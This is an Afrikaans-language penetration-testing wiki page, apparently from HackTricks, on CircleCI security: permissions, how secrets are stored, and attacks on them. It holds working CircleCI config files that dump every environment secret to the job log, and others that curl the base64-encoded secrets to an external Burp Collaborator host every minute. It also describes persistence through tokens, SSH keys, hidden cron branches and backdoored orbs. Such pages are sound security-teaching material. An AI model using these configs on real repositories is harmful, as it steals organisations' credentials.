# CircleCI Sekuriteit

{{#include ../banners/hacktricks-training.md}}

### Basiese Inligting

[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** outomaties **van jou repo hooftak** doen byvoorbeeld.

### Toestemmings

**CircleCI** **erf die toestemmings** van github en bitbucket wat verband hou met die **rekening** wat aanmeld.\
In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat sal wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...).

Jy moet egter 'n **repo admin** wees om die **repo in 'n CircleCI projek te omskep**.

### Omgewing Veranderlikes & Geheime

Volgens [**die dokumentasie**](https://circleci.com/docs/2.0/env-vars/) is daar verskillende maniere om **waardes in omgewing veranderlikes** binne 'n werksvloei te **laai**.

#### Ingeboude omgewing veranderlikes

Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes gedefinieer in die dokumentasie**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`.

#### Duidelike teks

Jy kan hulle in duidelike teks binne 'n **opdrag** verklaar:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
U kan dit in duidelike teks binne die **run environment** verklaar:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Jy kan hulle in duidelike teks binne die **build-job omgewing** verklaar:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Jy kan hulle in duidelike teks binne die **omgewing van 'n houer** verklaar:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Projek Geheime

Dit is **geheime** wat slegs **toeganklik** gaan wees deur die **projek** (deur **enige tak**).\
Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_

![](<../images/image (129).png>)

> [!CAUTION]
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**.

#### Konteks Geheime

Dit is geheime wat **organisasie wyd** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê:

![](<../images/image (123).png>)

> [!TIP]
> Let egter daarop dat 'n ander groep (in plaas van Alle lede) kan wees **geselekteer om slegs toegang tot die geheime aan spesifieke mense** te gee.\
> Dit is tans een van die beste maniere om die **veiligheid van die geheime** te **verhoog**, om nie te laat dat almal toegang het nie, maar net sommige mense.

### Aanvalle

#### Soek Duidelike Teks Geheime

As jy **toegang het tot die VCS** (soos github) kyk na die lêer `.circleci/config.yml` van **elke repo op elke tak** en **soek** na potensiële **duidelike teks geheime** wat daar gestoor is.

#### Geheim Env Vars & Konteks enumerasie

Deur die kode na te gaan kan jy **alle geheime name** vind wat in elke `.circleci/config.yml` lêer **gebruik** word. Jy kan ook die **konteks name** van daardie lêers kry of hulle in die webkonsol nagaan: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.

#### Ekstrakteer Projek geheime

> [!WARNING]
> Ten einde **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_).

> [!CAUTION]
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**. Daarom kan 'n aanvaller **alle projekvariabels van al die repos** **importeer** en dan **almal saam ekstrakteer**.

Alle projek geheime is altyd in die omgewing van die werksgeleenthede ingestel, so net deur om omgewing aan te roep en dit in base64 te obfuskeer, sal die geheime in die **werkvloei weblogkonsol** geëkstrakteer word:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env
```
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Exfiltreer Konteks Geheime

Jy moet **die konteksnaam spesifiseer** (dit sal ook die projekgeheime eksfiltreer):
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei aanpas** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres stuur**:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer** nie. Jy moet dit **as 'n projek in die circleci konsole aktiveer**.

#### Ontsnap na die Wolk

**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie te laat loop**.\
Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind.

Let daarop dat in die vorige voorbeelde alles binne 'n docker houer gelanseer is, maar jy kan ook **vra om 'n VM masjien te lanseer** (wat dalk verskillende wolk toestemmings kan hê):
```yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Of selfs 'n docker-container met toegang tot 'n afstands-docker-diens:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Volharding

- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.
- _https://app.circleci.com/settings/user/tokens_
- Dit is moontlik om **projektokens** te **skep** om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Dit is moontlik om **SSH-sleutels** aan die projekte toe te voeg.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Dit is moontlik om 'n **cron-taak in 'n verborge tak** in 'n onverwagte projek te **skep** wat elke dag al die **context env** vars **lek**.
- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die konteks en **projeksecrets** sal **lek**.
- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **agterdeur** konfigureer.
- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** deur sy waarde te **wysig** **injekteer**.

{{#include ../banners/hacktricks-training.md}}
